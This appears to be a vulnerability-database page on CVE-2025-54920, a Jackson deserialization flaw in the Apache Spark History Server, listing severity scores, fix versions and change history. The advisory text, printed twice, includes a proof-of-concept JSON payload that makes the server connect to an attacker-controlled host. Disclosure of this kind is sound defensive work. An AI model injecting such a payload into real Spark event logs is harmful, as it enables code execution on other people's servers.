8.8
HIGH CVSS 3.1
CVE-2025-54920
Apache Spark: Spark History Server Code Execution Vulnerability
Description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

INFO

Published Date :

March 16, 2026, 2:17 p.m.

Last Modified :

March 20, 2026, 7:16 p.m.

Remotely Exploit :

Yes !
Affected Products

The following products are affected by CVE-2025-54920 vulnerability. Even if cvefeed.io is aware of the exact versions of the products that are affected, the information is not represented in the table below.

ID Vendor Product Action
1 Apache spark
CVSS Scores
The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and displays CVSS scores from various sources for each CVE.
Score Version Severity Vector Exploitability Score Impact Score Source
CVSS 3.1 HIGH 134c704f-9b21-4f2e-91b3-4a467353bcc0
Solution
Upgrade Apache Spark to patched versions to fix a code execution vulnerability in the History Web UI.
  • Upgrade Apache Spark to version 3.5.7 or 4.0.1.
  • Ensure event logs are protected from unauthorized access.
  • Review Jackson deserialization configurations.
References to Advisories, Solutions, and Tools

Here, you will find a curated list of external links that provide in-depth information, practical solutions, and valuable tools related to CVE-2025-54920.

URL Resource
https://github.com/apache/spark/pull/51312 Issue Tracking
https://github.com/apache/spark/pull/51323 Issue Tracking
https://issues.apache.org/jira/browse/SPARK-52381 Issue Tracking
https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s Mitigation Vendor Advisory Exploit
http://www.openwall.com/lists/oss-security/2026/03/13/4 Mailing List Third Party Advisory Exploit
CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2025-54920 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2025-54920 weaknesses.

We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).

Results are limited to the first 15 repositories due to potential performance issues.

The following list is the news that have been mention CVE-2025-54920 vulnerability anywhere in the article.

The following table lists the changes that have been made to the CVE-2025-54920 vulnerability over time.

Vulnerability history details can be useful for understanding the evolution of a vulnerability, and for identifying the most recent changes that may impact the vulnerability's severity, exploitability, or other characteristics.

  • Initial Analysis by [email protected]

    Mar. 20, 2026

    Action Type Old Value New Value
    Added CPE Configuration OR *cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* versions up to (excluding) 3.5.7 *cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:* *cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:*
    Added Reference Type Apache Software Foundation: https://github.com/apache/spark/pull/51312 Types: Issue Tracking
    Added Reference Type Apache Software Foundation: https://github.com/apache/spark/pull/51323 Types: Issue Tracking
    Added Reference Type Apache Software Foundation: https://issues.apache.org/jira/browse/SPARK-52381 Types: Issue Tracking
    Added Reference Type Apache Software Foundation: https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s Types: Exploit, Mitigation, Vendor Advisory
    Added Reference Type CVE: http://www.openwall.com/lists/oss-security/2026/03/13/4 Types: Exploit, Mailing List, Third Party Advisory
  • CVE Modified by 134c704f-9b21-4f2e-91b3-4a467353bcc0

    Mar. 17, 2026

    Action Type Old Value New Value
    Added CVSS V3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • New CVE Received by [email protected]

    Mar. 16, 2026

    Action Type Old Value New Value
    Added Description This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
    Added CWE CWE-502
    Added Reference https://github.com/apache/spark/pull/51312
    Added Reference https://github.com/apache/spark/pull/51323
    Added Reference https://issues.apache.org/jira/browse/SPARK-52381
    Added Reference https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s
  • CVE Modified by af854a3a-2127-422b-91ae-364da2661108

    Mar. 16, 2026

    Action Type Old Value New Value
    Added Reference http://www.openwall.com/lists/oss-security/2026/03/13/4
EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days. Following chart shows the EPSS score history of the vulnerability.